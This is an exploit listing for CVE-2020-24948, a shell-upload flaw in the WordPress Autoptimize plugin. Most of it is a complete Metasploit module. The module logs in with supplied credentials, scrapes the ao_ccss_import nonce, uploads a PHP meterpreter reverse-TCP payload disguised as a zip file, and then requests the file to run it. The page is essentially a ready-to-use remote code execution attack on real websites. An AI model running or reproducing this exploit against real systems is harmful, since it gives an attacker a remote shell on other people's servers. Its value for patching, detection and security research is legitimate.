

## WordPress Autooptimize Shell Upload

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WordPress Autooptimize plugin suffers from a remote shell upload vulnerability. The `ao_ccss_import AJAX` call does not ensure that the file provided is a legitimate zip file, allowing high privilege users to upload arbitrary files, such as PHP, leading to remote code execution.

tags | exploit, remote, arbitrary, shell, php, code execution

advisories | CVE-2020-24948

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```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::WordPress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      {
        'Name' => 'WordPress Autooptimize Authenticated File Upload',
        'Description' => %q{
          The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,
          allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.
        },
        'Author' =>
          [
            'Khanh Nguyen - Suncsr Team', # Vulnerability discovery
            'Hoa Nguyen - Suncsr Team',   # Metasploit module
            'Thien Ngo - Suncsr Team'    # Metasploit module
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            ['CVE', '2020-24948'],
            ['EUB', '48770'],
            ['WPVDB', '10372']
          ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Targets' => [['WP Autooptimize 2.7.6', {}]],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-08-24'})
  end

  register_options(
    [
      OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),
      OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])
    ]
  )

  def check
    check_plugin_version_from_readme('autooptimize', '2.7.7')
  end

  def ao_ccss_import_nonce(cookie)
    res = send_request_cgi({
      'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'),
      'cookie' => cookie,
      'vars_get' => {
        'page' => 'ao_critcss'
      }
    }, 5)

    if res.code == 200
      print_good("Found ao_ccss_import_nonce Value!")
    else
      fail_with(Failure::Unknown, 'Server did not response in an expected way')
    end

    ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\\w+)/.captures[0]
    return ao_ccss_import_nonce_code
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    print_status("Trying to login as #{username}")
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie.nil?
      print_error("Unable to login as #{username}")
    end

    vars = ao_ccss_import_nonce(cookie)
    print_status("Trying to upload payload")
    filename = "#{rand_text_alpha_lower(8)}.php"

    data = Rex::MIME::Message.new
    data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')
    data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')
    data.add_part(payload.encoded, 'application/zip', nil, 'form-data; name="file"; filename="' +
      filename + '"')
    post_data = data.to_s
    print_status("Uploading payload")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => cookie
    })

    if res.code == 200
      register_files_for_cleanup(filename)
    else
      fail_with(Failure::Unknown, 'Server did not response in an expected way')
    end

    print_status("Calling uploaded file #{filename}")
    send_request_cgi({'uri' => normalize_uri(wordpress_url_backend, 'uploads', 'ao_ccss', filename)}, 5)
  end
end
```

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